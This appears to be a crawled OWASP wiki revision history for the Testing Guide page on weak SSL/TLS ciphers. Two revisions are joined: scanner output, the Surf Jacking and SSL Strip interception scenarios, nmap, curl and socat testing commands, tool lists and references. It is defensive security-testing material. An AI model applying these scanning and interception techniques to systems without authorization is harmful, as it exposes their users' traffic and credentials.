[*] Connected using cipher - TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA on protocol - TLSv1 <br />
[*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have compromised private keys.<br />
[*] Vulnerability Status: No<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for RC4 support (CVE-2013-2566) ...<br />
<br />
[!] RC4: SUPPORTED<br />
[!] Vulnerable to MITM attack described in http://www.isg.rhul.ac.uk/tls/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS 1.1 support ...<br />
<br />
Checking localhost:443 for TLS 1.2 support ...<br />
<br />
[*] TLS 1.1, TLS 1.2: SUPPORTED<br />
[*] Immune from BEAST attack mentioned in http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025<br />
[*] Vulnerability Status: No <br />
<br />
<br />
<br />
=====================================<br />
<br />
Loading module: sslyze by iSecPartners ...<br />
<br />
Checking localhost:443 for Session Renegotiation support (CVE-2009-3555,CVE-2011-1473,CVE-2011-5094) ...<br />
<br />
[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Mitigated from DOS attack (CVE-2011-1473,CVE-2011-5094) mentioned in https://www.thc.org/thc-ssl-dos/<br />
[*] Vulnerability Status: No<br />
<br />
<br />
[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555 <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Loading module: TestSSLServer by Thomas Pornin ...<br />
<br />
Checking localhost:443 for SSL version 2 support ...<br />
<br />
[*] SSL version 2 : NOT SUPPORTED<br />
[*] Immune from SSLv2-based MITM attack <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers support ...<br />
<br />
Supported LANE cipher suites:<br />
SSLv3<br />
RSA_EXPORT_WITH_RC4_40_MD5<br />
RSA_EXPORT_WITH_RC2_CBC_40_MD5<br />
RSA_EXPORT_WITH_DES40_CBC_SHA<br />
RSA_WITH_DES_CBC_SHA<br />
DHE_RSA_EXPORT_WITH_DES40_CBC_SHA<br />
DHE_RSA_WITH_DES_CBC_SHA<br />
TLS_ECDH_anon_WITH_RC4_128_SHA<br />
TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA<br />
TLS_ECDH_anon_WITH_AES_256_CBC_SHA<br />
(TLSv1.0: same as above)<br />
(TLSv1.1: same as above)<br />
(TLSv1.2: same as above)<br />
<br />
<br />
[!] LANE ciphers : SUPPORTED<br />
[!] Attackers may be ABLE to recover encrypted packets.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for GCM/CCM ciphers support against Lucky13 attack (CVE-2013-0169) ...<br />
<br />
Supported GCM cipher suites against Lucky13 attack:<br />
TLSv1.2<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384<br />
<br />
<br />
[*] GCM/CCM ciphers : SUPPORTED<br />
[*] Immune from Lucky13 attack mentioned in http://www.isg.rhul.ac.uk/tls/Lucky13.html <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS Compression support against CRIME (CVE-2012-4929) & TIME attack ...<br />
<br />
[*] TLS Compression : DISABLED<br />
[*] Immune from CRIME & TIME attack mentioned in https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beery-wp.pdf <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
[+] Breacher finished scanning in 12 seconds.<br />
[+] Get your latest copy at http://yehg.net/<br />
<br />
<br />
</pre><br />
<br />
===Testing SSL certificate validity – client and server===<br />
Firstly upgrade the browser because CA certs expire and in every release of the browser these are renewed. Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match name wise with the site to which they should refer. <br />
<br />
<br />
By clicking on the padlock that appears in the browser window when visiting an HTTPS site, testers can look at information related to the certificate – including the issuer, period of validity, encryption characteristics, etc. If the application requires a client certificate, that tester has probably installed one to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates. <br />
<br />
<br />
These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the usual https service running on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an HTTPS administrative port left open, HTTPS services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports which have been discovered. For example, the nmap scanner features a scanning mode (enabled by the –sV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services. <br />
<br />
<br />
====Example 1. Testing for certificate validity (manually)====<br />
Rather than providing a fictitious example, this guide includes an anonymized real-life example to stress how frequently one stumbles on https sites whose certificates are inaccurate with respect to naming. The following screenshots refer to a regional site of a high-profile IT company. <br />
<br />
We are visiting a .it site and the certificate was issued to a .com site. Internet Explorer warns that the name on the certificate does not match the name of the site. <br />
<br />
[[Image:SSL Certificate Validity Testing IE Warning.gif]]<br />
<br />
''Warning issued by Microsoft Internet Explorer''<br />
<br />
The message issued by Firefox is different. Firefox complains because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed the certificate. In fact, Internet Explorer and Firefox do not come pre-loaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.<br />
<br />
[[Image:SSL Certificate Validity Testing Firefox Warning.gif]]<br />
<br />
''Warning issued by Mozilla Firefox''<br />
<br />
===Testing for other vulnerabilities===<br />
As mentioned previously, there are other types of vulnerabilities that are not related with the SSL/TLS protocol used, the cipher suites or Certificates. Apart from other vulnerabilities discussed in other parts of this guide, a vulnerability exists when the server provides the website both with the HTTP and HTTPS protocols, and permits an attacker to force a victim into using a non-secure channel instead of a secure one.<br />
<br />
<br />
====Surf Jacking====<br />
The Surf Jacking attack [7] was first presented by Sandro Gauci and permits to an attacker to hijack an HTTP session even when the victim’s connection is encrypted using SSL or TLS.<br />
<br />
<br />
The following is a scenario of how the attack can take place:<br />
* Victim logs into the secure website at https://somesecuresite/.<br />
* The secure site issues a session cookie as the client logs in.<br />
* While logged in, the victim opens a new browser window and goes to http:// examplesite/<br />
* An attacker sitting on the same network is able to see the clear text traffic to http://examplesite.<br />
* The attacker sends back a "301 Moved Permanently" in response to the clear text traffic to http://examplesite. The response contains the header “Location: http://somesecuresite /”, which makes it appear that examplesite is sending the web browser to somesecuresite. Notice that the URL scheme is HTTP not HTTPS.<br />
* The victim's browser starts a new clear text connection to http://somesecuresite/ and sends an HTTP request containing the cookie in the HTTP header in clear text<br />
* The attacker sees this traffic and logs the cookie for later use.<br />
<br />
<br />
To test if a website is vulnerable carry out the following tests:<br />
# Check if website supports both HTTP and HTTPS protocols<br />
# Check if cookies do not have the “Secure” flag<br />
<br />
<br />
====SSL Strip====<br />
Some applications supports both HTTP and HTTPS, either for usability or so users can type both addresses and get to the site. Often users go into an HTTPS website from link or a redirect. Typically personal banking sites have a similar configuration with an iframed log in or a form with action attribute over HTTPS but the page under HTTP.<br />
<br />
<br />
An attacker in a privileged position - as described in SSL strip [8] - can intercept traffic when the user is in the http site and manipulate it to get a Man-In-The-Middle attack under HTTPS. An application is vulnerable if it supports both HTTP and HTTPS.<br />
<br />
<br />
===Testing via HTTP proxy===<br />
<br />
Inside corporate environments testers can see services that are not directly accessible and they can access them only via HTTP proxy using the CONNECT method [36]. Most of the tools will not work in this scenario because they try to connect to the desired tcp port to start the SSL/TLS handshake. With the help of relaying software such as socat [37] testers can enable those tools for use with services behind an HTTP proxy.<br />
<br />
<br />
====Example 8. Testing via HTTP proxy==== <br />
<br />
To connect to destined.application.lan:443 via proxy 10.13.37.100:3128 run socat as follows:<br />
<pre><br />
$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128<br />
</pre><br />
<br />
<br />
Then the tester can target all other tools to localhost:9999:<br />
<pre><br />
$ openssl s_client -connect localhost:9999<br />
</pre><br />
<br />
<br />
All connections to localhost:9999 will be effectively relayed by socat via proxy to destined.application.lan:443.<br />
<br />
<br />
== Configuration Review ==<br />
<br />
===Testing for Weak SSL/TLS Cipher Suites===<br />
Check the configuration of the web servers that provide https services. If the web application provides other SSL/TLS wrapped services, these should be checked as well. <br />
<br />
<br />
====Example 9. Windows Server==== <br />
Check the configuration on a Microsoft Windows Server (2000, 2003 and 2008) using the registry key:<br />
<pre>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\</pre><br />
that has some sub-keys including Ciphers, Protocols and KeyExchangeAlgorithms.<br />
<br />
<br />
====Example 10: Apache====<br />
To check the cipher suites and protocols supported by the Apache2 web server, open the ssl.conf file and search for the SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,SSLInsecureRenegotiation and SSLCompression directives.<br />
<br />
<br />
===Testing SSL certificate validity – client and server===<br />
Examine the validity of the certificates used by the application at both server and client levels. The usage of certificates is primarily at the web server level, however, there may be additional communication paths protected by SSL (for example, towards the DBMS). Testers should check the application architecture to identify all SSL protected channels.<br />
<br />
==Tools==<br />
*[21][Qualys SSL Labs - SSL Server Test|https://www.ssllabs.com/ssltest/index.html]: internet facing scanner<br />
*[27] [Tenable - Nessus Vulnerability Scanner|http://www.tenable.com/products/nessus]: includes some plugins to test different SSL related vulnerabilities, Certificates and the presence of HTTP Basic authentication without SSL.<br />
*[32] [TestSSLServer|http://www.bolet.org/TestSSLServer/]: a java scanner - and also windows executable - includes tests for cipher suites, CRIME and BEAST<br />
*[33] [sslyze|https://github.com/iSECPartners/sslyze]: is a python script to check vulnerabilities in SSL/TLS.<br />
*[28] [SSLAudit|https://code.google.com/p/sslaudit/]: a perl script/windows executable scanner which follows Qualys SSL Labs Rating Guide.<br />
*[29] [SSLScan|http://sourceforge.net/projects/sslscan/] with [SSL Tests|http://www.pentesterscripting.com/discovery/ssl_tests]: a SSL Scanner and a wrapper in order to enumerate SSL vulnerabilities.<br />
*[31] [nmap|http://nmap.org/]: can be used primary to identify SSL-based services and then to check Certificate and SSL/TLS vulnerabilities. In particular it has some scripts to check [Certificate and SSLv2|http://nmap.org/nsedoc/scripts/ssl-cert.html] and supported [SSL/TLS protocols/ciphers|http://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html] with an internal rating.<br />
*[30] [curl|http://curl.haxx.se/] and [openssl|http://www.openssl.org/]: can be used to query manually SSL/TLS services<br />
*[9] [Stunnel|http://www.stunnel.org]: a noteworthy class of SSL clients is that of SSL proxies such as stunnel available at which can be used to allow non-SSL enabled tools to talk to SSL services)<br />
*[37] [socat| http://www.dest-unreach.org/socat/]: Multipurpose relay<br />
*[38] [testssl.sh| https://testssl.sh/ ]<br />
*[99] [breacher.sh| http://yehg.net/ ]<br />
<br />
==References==<br />
'''OWASP Resources'''<br />
* [5] [OWASP Testing Guide - Testing for cookie attributes (OTG-SESS-002)|https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OTG-SESS-002)]<br />
* [4][OWASP Testing Guide - Test Network/Infrastructure Configuration (OTG-CONFIG-001)|https://www.owasp.org/index.php/Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001)]<br />
* [6] [OWASP Testing Guide - Testing for HTTP_Strict_Transport_Security (OTG-CONFIG-007)|https://www.owasp.org/index.php/Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-007)]<br />
* [2] [OWASP Testing Guide - Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)|https://www.owasp.org/index.php/Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003)]<br />
* [3] [OWASP Testing Guide - Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)|https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001)]<br />
* [22] [OWASP Cheat sheet - Transport Layer Protection|https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet]<br />
* [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure|https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure]<br />
* [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection|https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection]<br />
* [25] [OWASP ASVS 2009 - Verification 10|https://code.google.com/p/owasp-asvs/wiki/Verification_V10]<br />
* [26] [OWASP Application Security FAQ - Cryptography/SSL|https://www.owasp.org/index.php/OWASP_Application_Security_FAQ#Cryptography.2FSSL]<br />
<br />
<br />
'''Whitepapers'''<br />
* [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176)|http://www.ietf.org/rfc/rfc5246.txt]<br />
* [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|]<br />
* [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension Definitions|http://www.ietf.org/rfc/rfc6066.txt]<br />
* [11] [SSLv2 Protocol Multiple Weaknesses |http://osvdb.org/56387]<br />
* [12] [Mitre - TLS Renegotiation MiTM|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555]<br />
* [13] [Qualys SSL Labs - TLS Renegotiation DoS|https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks]<br />
* [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices|https://www.ssllabs.com/projects/best-practices/index.html]<br />
* [14] [Qualys SSL Labs - SSL Server Rating Guide|https://www.ssllabs.com/projects/rating-guide/index.html]<br />
* [20] [Qualys SSL Labs - SSL Threat Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]<br />
* [18] [Qualys SSL Labs - Forward Secrecy|https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy]<br />
* [15] [Qualys SSL Labs - RC4 Usage|https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what]<br />
* [16] [Qualys SSL Labs - BEAST|https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls]<br />
* [17] [Qualys SSL Labs - CRIME|https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls]<br />
* [7] [SurfJacking attack|https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf]<br />
* [8] [SSLStrip attack|http://www.thoughtcrime.org/software/sslstrip/]<br />
* [19] [PCI-DSS v2.0|https://www.pcisecuritystandards.org/security_standards/documents.php]<br />
* [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash Functions| http://link.springer.com/chapter/10.1007/11426639_2]<br />
<br />
<br />
[[Category:Cryptographic Vulnerability]]<br />
[[Category:SSL]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001)&diff=183406Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)2014-10-07T15:20:37Z<p>D0ubl3 h3lix: /* Example 8. Testing SSL/TLS with SSL Breacher */</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
== Summary ==<br />
<br />
Sensitive data must be protected when it is transmitted through the network. Such data can include user credentials and credit cards. As a rule of thumb, if data must be protected when it is stored, it must be protected also during transmission. <br />
<br />
<br />
HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]. The use of this protocol ensures not only confidentiality, but also authentication. Servers are authenticated using digital certificates and it is also possible to use client certificate for mutual authentication. <br />
<br />
<br />
Even if high grade ciphers are today supported and normally used, some misconfiguration in the server can be used to force the use of a weak cipher - or at worst no encryption - permitting to an attacker to gain access to the supposed secure communication channel. Other misconfiguration can be used for a Denial of Service attack.<br />
<br />
<br />
== Common Issues == <br />
A vulnerability occurs if the HTTP protocol is used to transmit sensitive information [2] (e.g. credentials transmitted over HTTP [3]).<br />
<br />
When the SSL/TLS service is present it is good but it increments the attack surface and the following vulnerabilities exist:<br />
* SSL/TLS protocols, ciphers, keys and renegotiation must be properly configured.<br />
* Certificate validity must be ensured.<br />
<br />
Other vulnerabilities linked to this are:<br />
* Software exposed must be updated due to possibility of known vulnerabilities [4].<br />
* Usage of Secure flag for Session Cookies [5].<br />
* Usage of HTTP Strict Transport Security (HSTS) [6].<br />
* The presence of HTTP and HTTPS both, which can be used to intercept traffic [7], [8].<br />
* The presence of mixed HTTPS and HTTP content in the same page, which can be used to Leak information.<br />
<br />
<br />
===Sensitive data transmitted in clear-text===<br />
The application should not transmit sensitive information via unencrypted channels. Typically it is possible to find basic authentication over HTTP, input password or session cookie sent via HTTP and, in general, other information considered by regulations, laws or organization policy.<br />
<br />
<br />
===Weak SSL/TLS Ciphers/Protocols/Keys===<br />
Historically, there have been limitations set in place by the U.S. government to allow cryptosystems to be exported only for key sizes of at most 40 bits, a key length which could be broken and would allow the decryption of communications. Since then cryptographic export regulations have been relaxed the maximum key size is 128 bits.<br />
<br />
<br />
It is important to check the SSL configuration being used to avoid putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g. SHA, MD5) used for integrity checking.<br />
<br />
<br />
Briefly, the key points for the cipher suite determination are the following: <br />
# The client sends to the server a ClientHello message specifying, among other information, the protocol and the cipher suites that it is able to handle. Note that a client is usually a web browser (most popular SSL client nowadays), but not necessarily, since it can be any SSL-enabled application; the same holds for the server, which needs not to be a web server, though this is the most common case [9].<br />
#The server responds with a ServerHello message, containing the chosen protocol and cipher suite that will be used for that session (in general the server selects the strongest protocol and cipher suite supported by both the client and server). <br />
<br />
<br />
It is possible (for example, by means of configuration directives) to specify which cipher suites the server will honor. In this way you may control whether or not conversations with clients will support 40-bit encryption only.<br />
<br />
#The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
#The server sends a ServerHelloDone message and waits for a client response.<br />
#Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
===SSL certificate validity – client and server===<br />
<br />
When accessing a web application via the HTTPS protocol, a secure channel is established between the client and the server. The identity of one (the server) or both parties (client and server) is then established by means of digital certificates. So, once the cipher suite is determined, the “SSL Handshake” continues with the exchange of the certificates:<br />
# The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
# The server sends a ServerHelloDone message and waits for a client response.<br />
# Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
In order for the communication to be set up, a number of checks on the certificates must be passed. While discussing SSL and certificate based authentication is beyond the scope of this guide, this section will focus on the main criteria involved in ascertaining certificate validity: <br />
<br />
* Checking if the Certificate Authority (CA) is a known one (meaning one considered trusted);<br />
* Checking that the certificate is currently valid;<br />
* Checking that the name of the site and the name reported in the certificate match.<br />
<br />
<br />
Let's examine each check more in detail. <br />
<br />
* Each browser comes with a pre-loaded list of trusted CAs, against which the certificate signing CA is compared (this list can be customized and expanded at will). During the initial negotiations with an HTTPS server, if the server certificate relates to a CA unknown to the browser, a warning is usually raised. This happens most often because a web application relies on a certificate signed by a self-established CA. Whether this is to be considered a concern depends on several factors. For example, this may be fine for an Intranet environment (think of corporate web email being provided via HTTPS; here, obviously all users recognize the internal CA as a trusted CA). When a service is provided to the general public via the Internet, however (i.e. when it is important to positively verify the identity of the server we are talking to), it is usually imperative to rely on a trusted CA, one which is recognized by all the user base (and here we stop with our considerations; we won’t delve deeper in the implications of the trust model being used by digital certificates). <br />
<br />
<br />
* Certificates have an associated period of validity, therefore they may expire. Again, we are warned by the browser about this. A public service needs a temporally valid certificate; otherwise, it means we are talking with a server whose certificate was issued by someone we trust, but has expired without being renewed. <br />
<br />
<br />
* What if the name on the certificate and the name of the server do not match? If this happens, it might sound suspicious. For a number of reasons, this is not so rare to see. A system may host a number of name-based virtual hosts, which share the same IP address and are identified by means of the HTTP 1.1 Host: header information. In this case, since the SSL handshake checks the server certificate before the HTTP request is processed, it is not possible to assign different certificates to each virtual server. Therefore, if the name of the site and the name reported in the certificate do not match, we have a condition which is typically signaled by the browser. To avoid this, IP-based virtual servers must be used. [33] and [34] describe techniques to deal with this problem and allow name-based virtual hosts to be correctly referenced. <br />
<br />
<br />
===Other vulnerabilities===<br />
The presence of a new service, listening in a separate tcp port may introduce vulnerabilities such as infrastructure vulnerabilities if the software is not up to date [4]. Furthermore, for the correct protection of data during transmission the Session Cookie must use the Secure flag [5] and some directives should be sent to the browser to accept only secure traffic (e.g. HSTS [6], CSP). <br />
<br />
<br />
Also there are some attacks that can be used to intercept traffic if the web server exposes the application on both HTTP and HTTPS [6], [7] or in case of mixed HTTP and HTTPS resources in the same page.<br />
<br />
<br />
== How to Test ==<br />
<br />
===Testing for sensitive data transmitted in clear-text===<br />
Various types of information which must be protected can be also transmitted in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS. Please refer to specific tests for full details, for credentials [3] and other kind of data [2]. <br />
<br />
<br />
=====Example 1. Basic Authentication over HTTP=====<br />
A typical example is the usage of Basic Authentication over HTTP because with Basic Authentication, after log in, credentials are encoded - and not encrypted - into HTTP Headers.<br />
<br />
<pre><br />
$ curl -kis http://example.com/restricted/<br />
HTTP/1.1 401 Authorization Required<br />
Date: Fri, 01 Aug 2013 00:00:00 GMT<br />
WWW-Authenticate: Basic realm="Restricted Area"<br />
Accept-Ranges: bytes<br />
Vary: Accept-Encoding<br />
Content-Length: 162<br />
Content-Type: text/html<br />
<br />
<html><head><title>401 Authorization Required</title></head><br />
<body bgcolor=white><br />
<h1>401 Authorization Required</h1><br />
<br />
Invalid login credentials!<br />
<br />
</body></html><br />
</pre><br />
<br />
<br />
===Testing for Weak SSL/TLS Ciphers/Protocols/Keys vulnerabilities===<br />
The large number of available cipher suites and quick progress in cryptanalysis makes testing an SSL server a non-trivial task. <br />
<br />
At the time of writing these criteria are widely recognized as minimum checklist:<br />
* Weak ciphers must not be used (e.g. less than 128 bits [10]; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication).<br />
* Weak protocols must be disabled (e.g. SSLv2 must be disabled, due to known weaknesses in protocol design [11]).<br />
* Renegotiation must be properly configured (e.g. Insecure Renegotiation must be disabled, due to MiTM attacks [12] and Client-initiated Renegotiation must be disabled, due to Denial of Service vulnerability [13]).<br />
* No Export (EXP) level cipher suites, due to can be easly broken [10].<br />
* X.509 certificates key length must be strong (e.g. if RSA or DSA is used the key must be at least 1024 bits).<br />
* X.509 certificates must be signed only with secure hashing algoritms (e.g. not signed using MD5 hash, due to known collision attacks on this hash).<br />
* Keys must be generated with proper entropy (e.g, Weak Key Generated with Debian) [14].<br />
<br />
A more complete checklist includes:<br />
* Secure Renegotiation should be enabled.<br />
* MD5 should not be used, due to known collision attacks. [35]<br />
* RC4 should not be used, due to crypto-analytical attacks [15].<br />
* Server should be protected from BEAST Attack [16].<br />
* Server should be protected from CRIME attack, TLS compression must be disabled [17].<br />
* Server should support Forward Secrecy [18].<br />
<br />
<br />
The following standards can be used as reference while assessing SSL servers:<br />
* PCI-DSS v2.0 in point 4.1 requires compliant parties to use "strong cryptography" without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used [19].<br />
* Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] and SSL Threat Model [20] has been proposed to standardize SSL server assessment and configuration. But is less updated than the SSL Server tool [21].<br />
* OWASP has a lot of resources about SSL/TLS Security [22], [23], [24], [25]. [26].<br />
<br />
<br />
Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan [29]) and commercial (e.g. Tenable Nessus [27]), can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with openssl [30] or use the tool’s output as an input for manual evaluation using the references.<br />
<br />
<br />
Sometimes the SSL/TLS enabled service is not directly accessible and the tester can access it only via a HTTP proxy using CONNECT method [36]. Most of the tools will try to connect to desired tcp port to start SSL/TLS handshake. This will not work since desired port is accessible only via HTTP proxy. The tester can easily circumvent this by using relaying software such as socat [37].<br />
<br />
<br />
====Example 2. SSL service recognition via nmap====<br />
<br />
The first step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are - but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).<br />
<br />
In this example we search for SSL services using nmap with “-sV” option, used to identify services and it is also able to identify SSL services [31]. Other options are for this particular example and must be customized. Often in a Web Application Penetration Test scope is limited to port 80 and 443.<br />
<br />
<pre><br />
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up, received user-set (0.20s latency).<br />
Not shown: 89 filtered ports<br />
Reason: 89 no-responses<br />
PORT STATE SERVICE REASON VERSION<br />
21/tcp open ftp syn-ack Pure-FTPd<br />
22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)<br />
25/tcp open smtp syn-ack Exim smtpd 4.80<br />
26/tcp open smtp syn-ack Exim smtpd 4.80<br />
80/tcp open http syn-ack<br />
110/tcp open pop3 syn-ack Dovecot pop3d<br />
143/tcp open imap syn-ack Dovecot imapd<br />
443/tcp open ssl/http syn-ack Apache<br />
465/tcp open ssl/smtp syn-ack Exim smtpd 4.80<br />
993/tcp open ssl/imap syn-ack Dovecot imapd<br />
995/tcp open ssl/pop3 syn-ack Dovecot pop3d<br />
Service Info: Hosts: example.com<br />
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .<br />
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds<br />
</pre><br />
<br />
<br />
====Example 3. Checking for Certificate information, Weak Ciphers and SSLv2 via nmap====<br />
Nmap has two scripts for checking Certificate information, Weak Ciphers and SSLv2 [31].<br />
<br />
<pre><br />
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up (0.090s latency).<br />
rDNS record for 127.0.0.1: www.example.com<br />
PORT STATE SERVICE<br />
443/tcp open https<br />
| ssl-cert: Subject: commonName=www.example.org<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 1024<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
465/tcp open smtps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
993/tcp open imaps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
